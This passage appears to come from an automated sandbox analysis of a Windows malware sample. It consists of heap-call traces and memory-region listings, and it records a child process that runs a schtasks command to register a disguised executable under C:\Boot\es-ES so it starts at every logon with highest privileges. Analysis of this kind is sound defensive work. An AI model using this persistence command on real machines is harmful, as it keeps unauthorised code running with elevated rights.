[0134.233] GetProcessHeap () returned 0x2b0000 [0134.233] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccb20) returned 0x20 [0134.233] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb20 | out: hHeap=0x2b0000) returned 1 [0134.233] GetProcessHeap () returned 0x2b0000 [0134.233] GetProcessHeap () returned 0x2b0000 [0134.233] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7a00) returned 1 [0134.233] GetProcessHeap () returned 0x2b0000 [0134.233] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c7a00) returned 0x30 [0134.233] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7a00 | out: hHeap=0x2b0000) returned 1 [0134.233] GetProcessHeap () returned 0x2b0000 [0134.233] GetProcessHeap () returned 0x2b0000 [0134.233] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb50) returned 1 [0134.233] GetProcessHeap () returned 0x2b0000 [0134.233] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccb50) returned 0x20 [0134.234] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb50 | out: hHeap=0x2b0000) returned 1 [0134.234] GetProcessHeap () returned 0x2b0000 [0134.234] GetProcessHeap () returned 0x2b0000 [0134.234] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7a80) returned 1 [0134.234] GetProcessHeap () returned 0x2b0000 [0134.234] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c7a80) returned 0x30 [0134.234] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7a80 | out: hHeap=0x2b0000) returned 1 [0134.234] GetProcessHeap () returned 0x2b0000 [0134.234] GetProcessHeap () returned 0x2b0000 [0134.234] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cccd0) returned 1 [0134.234] GetProcessHeap () returned 0x2b0000 [0134.234] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cccd0) returned 0x20 [0134.235] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cccd0 | out: hHeap=0x2b0000) returned 1 [0134.235] GetProcessHeap () returned 0x2b0000 [0134.235] GetProcessHeap () returned 0x2b0000 [0134.235] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd530) returned 1 [0134.235] GetProcessHeap () returned 0x2b0000 [0134.235] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd530) returned 0xe [0134.235] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd530 | out: hHeap=0x2b0000) returned 1 [0134.235] GetProcessHeap () returned 0x2b0000 [0134.235] GetProcessHeap () returned 0x2b0000 [0134.235] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccca0) returned 1 [0134.235] GetProcessHeap () returned 0x2b0000 [0134.235] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccca0) returned 0x20 [0134.235] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccca0 | out: hHeap=0x2b0000) returned 1 [0134.236] GetProcessHeap () returned 0x2b0000 [0134.236] GetProcessHeap () returned 0x2b0000 [0134.236] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd550) returned 1 [0134.236] GetProcessHeap () returned 0x2b0000 [0134.236] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd550) returned 0x16 [0134.236] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd550 | out: hHeap=0x2b0000) returned 1 [0134.236] GetProcessHeap () returned 0x2b0000 [0134.236] GetProcessHeap () returned 0x2b0000 [0134.236] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc70) returned 1 [0134.236] GetProcessHeap () returned 0x2b0000 [0134.236] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccc70) returned 0x20 [0134.236] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc70 | out: hHeap=0x2b0000) returned 1 [0134.237] GetProcessHeap () returned 0x2b0000 [0134.237] GetProcessHeap () returned 0x2b0000 [0134.237] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd570) returned 1 [0134.237] GetProcessHeap () returned 0x2b0000 [0134.237] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd570) returned 0x16 [0134.237] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd570 | out: hHeap=0x2b0000) returned 1 [0134.237] GetProcessHeap () returned 0x2b0000 [0134.237] GetProcessHeap () returned 0x2b0000 [0134.237] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc40) returned 1 [0134.237] GetProcessHeap () returned 0x2b0000 [0134.237] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccc40) returned 0x20 [0134.238] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc40 | out: hHeap=0x2b0000) returned 1 [0134.238] GetProcessHeap () returned 0x2b0000 [0134.238] GetProcessHeap () returned 0x2b0000 [0134.238] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2e98b0) returned 1 [0134.238] GetProcessHeap () returned 0x2b0000 [0134.238] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2e98b0) returned 0x82 [0134.238] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2e98b0 | out: hHeap=0x2b0000) returned 1 [0134.239] GetProcessHeap () returned 0x2b0000 [0134.239] GetProcessHeap () returned 0x2b0000 [0134.239] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc10) returned 1 [0134.239] GetProcessHeap () returned 0x2b0000 [0134.239] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccc10) returned 0x20 [0134.239] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc10 | out: hHeap=0x2b0000) returned 1 [0134.239] GetProcessHeap () returned 0x2b0000 [0134.239] GetProcessHeap () returned 0x2b0000 [0134.239] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd5b0) returned 1 [0134.239] GetProcessHeap () returned 0x2b0000 [0134.240] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd5b0) returned 0xe [0134.240] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd5b0 | out: hHeap=0x2b0000) returned 1 [0134.240] GetProcessHeap () returned 0x2b0000 [0134.240] GetProcessHeap () returned 0x2b0000 [0134.240] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccbe0) returned 1 [0134.240] GetProcessHeap () returned 0x2b0000 [0134.240] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccbe0) returned 0x20 [0134.240] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccbe0 | out: hHeap=0x2b0000) returned 1 [0134.240] GetProcessHeap () returned 0x2b0000 [0134.240] GetProcessHeap () returned 0x2b0000 [0134.240] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd5d0) returned 1 [0134.240] GetProcessHeap () returned 0x2b0000 [0134.240] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd5d0) returned 0xa [0134.241] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd5d0 | out: hHeap=0x2b0000) returned 1 [0134.241] GetProcessHeap () returned 0x2b0000 [0134.241] GetProcessHeap () returned 0x2b0000 [0134.241] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccbb0) returned 1 [0134.241] GetProcessHeap () returned 0x2b0000 [0134.241] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccbb0) returned 0x20 [0134.241] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccbb0 | out: hHeap=0x2b0000) returned 1 [0134.241] GetProcessHeap () returned 0x2b0000 [0134.241] GetProcessHeap () returned 0x2b0000 [0134.241] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd5f0) returned 1 [0134.241] GetProcessHeap () returned 0x2b0000 [0134.241] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd5f0) returned 0xc [0134.241] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd5f0 | out: hHeap=0x2b0000) returned 1 [0134.242] GetProcessHeap () returned 0x2b0000 [0134.242] GetProcessHeap () returned 0x2b0000 [0134.242] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb80) returned 1 [0134.242] GetProcessHeap () returned 0x2b0000 [0134.242] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccb80) returned 0x20 [0134.242] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb80 | out: hHeap=0x2b0000) returned 1 [0134.242] GetProcessHeap () returned 0x2b0000 [0134.243] GetProcessHeap () returned 0x2b0000 [0134.243] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cb9a0) returned 1 [0134.243] GetProcessHeap () returned 0x2b0000 [0134.243] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cb9a0) returned 0x18 [0134.243] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cb9a0 | out: hHeap=0x2b0000) returned 1 [0134.243] GetProcessHeap () returned 0x2b0000 [0134.243] GetProcessHeap () returned 0x2b0000 [0134.243] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c59a0) returned 1 [0134.243] GetProcessHeap () returned 0x2b0000 [0134.243] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c59a0) returned 0x20 [0134.244] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c59a0 | out: hHeap=0x2b0000) returned 1 [0134.244] GetProcessHeap () returned 0x2b0000 [0134.244] GetProcessHeap () returned 0x2b0000 [0134.244] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c59d0) returned 1 [0134.244] GetProcessHeap () returned 0x2b0000 [0134.244] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c59d0) returned 0x20 [0134.244] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c59d0 | out: hHeap=0x2b0000) returned 1 [0134.245] GetProcessHeap () returned 0x2b0000 [0134.245] GetProcessHeap () returned 0x2b0000 [0134.245] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a00) returned 1 [0134.245] GetProcessHeap () returned 0x2b0000 [0134.245] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5a00) returned 0x20 [0134.246] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a00 | out: hHeap=0x2b0000) returned 1 [0134.246] GetProcessHeap () returned 0x2b0000 [0134.246] GetProcessHeap () returned 0x2b0000 [0134.246] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a30) returned 1 [0134.246] GetProcessHeap () returned 0x2b0000 [0134.246] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5a30) returned 0x20 [0134.247] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a30 | out: hHeap=0x2b0000) returned 1 [0134.247] GetProcessHeap () returned 0x2b0000 [0134.247] GetProcessHeap () returned 0x2b0000 [0134.247] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cb9c0) returned 1 [0134.247] GetProcessHeap () returned 0x2b0000 [0134.247] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cb9c0) returned 0x18 [0134.247] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cb9c0 | out: hHeap=0x2b0000) returned 1 [0134.247] GetProcessHeap () returned 0x2b0000 [0134.247] GetProcessHeap () returned 0x2b0000 [0134.247] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a60) returned 1 [0134.248] GetProcessHeap () returned 0x2b0000 [0134.248] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5a60) returned 0x20 [0134.248] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a60 | out: hHeap=0x2b0000) returned 1 [0134.248] GetProcessHeap () returned 0x2b0000 [0134.248] GetProcessHeap () returned 0x2b0000 [0134.248] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5af0) returned 1 [0134.248] GetProcessHeap () returned 0x2b0000 [0134.248] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5af0) returned 0x20 [0134.249] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5af0 | out: hHeap=0x2b0000) returned 1 [0134.249] GetProcessHeap () returned 0x2b0000 [0134.249] GetProcessHeap () returned 0x2b0000 [0134.249] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b50) returned 1 [0134.249] GetProcessHeap () returned 0x2b0000 [0134.249] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5b50) returned 0x20 [0134.249] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b50 | out: hHeap=0x2b0000) returned 1 [0134.250] GetProcessHeap () returned 0x2b0000 [0134.250] GetProcessHeap () returned 0x2b0000 [0134.250] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5bb0) returned 1 [0134.250] GetProcessHeap () returned 0x2b0000 [0134.250] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5bb0) returned 0x20 [0134.250] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5bb0 | out: hHeap=0x2b0000) returned 1 [0134.250] GetProcessHeap () returned 0x2b0000 [0134.250] GetProcessHeap () returned 0x2b0000 [0134.250] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5be0) returned 1 [0134.250] GetProcessHeap () returned 0x2b0000 [0134.250] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5be0) returned 0x20 [0134.251] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5be0 | out: hHeap=0x2b0000) returned 1 [0134.251] GetProcessHeap () returned 0x2b0000 [0134.251] GetProcessHeap () returned 0x2b0000 [0134.251] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cb9e0) returned 1 [0134.251] GetProcessHeap () returned 0x2b0000 [0134.251] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cb9e0) returned 0x18 [0134.251] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cb9e0 | out: hHeap=0x2b0000) returned 1 [0134.251] GetProcessHeap () returned 0x2b0000 [0134.251] GetProcessHeap () returned 0x2b0000 [0134.251] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b20) returned 1 [0134.251] GetProcessHeap () returned 0x2b0000 [0134.251] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5b20) returned 0x20 [0134.252] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b20 | out: hHeap=0x2b0000) returned 1 [0134.252] GetProcessHeap () returned 0x2b0000 [0134.252] GetProcessHeap () returned 0x2b0000 [0134.252] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cb960) returned 1 [0134.252] GetProcessHeap () returned 0x2b0000 [0134.252] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cb960) returned 0x18 [0134.252] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cb960 | out: hHeap=0x2b0000) returned 1 [0134.253] exit (_Code=0) Thread: id = 120 os_tid = 0xf1c Process: id = "18" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x42994000" os_pid = "0xf20" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"Idle\" /sc ONLOGON /tr \"'C:\\Boot\\es-ES\\Idle.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2171 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2172 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2173 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2174 start_va = 0x80000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2175 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2176 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2177 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2178 start_va = 0xff120000 end_va = 0xff167fff monitored = 1 entry_point = 0xff14966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2179 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2180 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2181 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2182 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2183 start_va = 0x100000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2184 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2185 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2186 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2187 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2188 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2189 start_va = 0x250000 end_va = 0x2b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2190 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2191 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2192 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2193 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2194 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2195 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2196 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2197 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2198 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2199 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2200 start_va = 0x2c0000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2201 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2202 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2203 start_va = 0x420000 end_va = 0x5a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2204 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2205 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2206 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2207 start_va = 0x5b0000 end_va = 0x730fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 2208 start_va = 0x740000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 2209 start_va = 0x50000 end_va = 0x61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2211 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2212 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2213 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2214 start_va = 0x1b40000 end_va = 0x1e0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2215 start_va = 0x1e10000 end_va = 0x1e8cfff monitored = 0 entry_point = 0x1e1cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2216 start_va = 0x1e10000 end_va = 0x1e8cfff monitored = 0 entry_point = 0x1e1cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2217 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2218 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2219 start_va = 0x1e10000 end_va = 0x1e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 2220 start_va = 0x1e90000 end_va = 0x1f6efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e90000" filename = "" Region: id = 2221 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2222 start_va = 0x2120000 end_va = 0x219ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 2223 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2224 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2225 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2226 start_va = 0x150000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2227 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2228 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 2229 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename 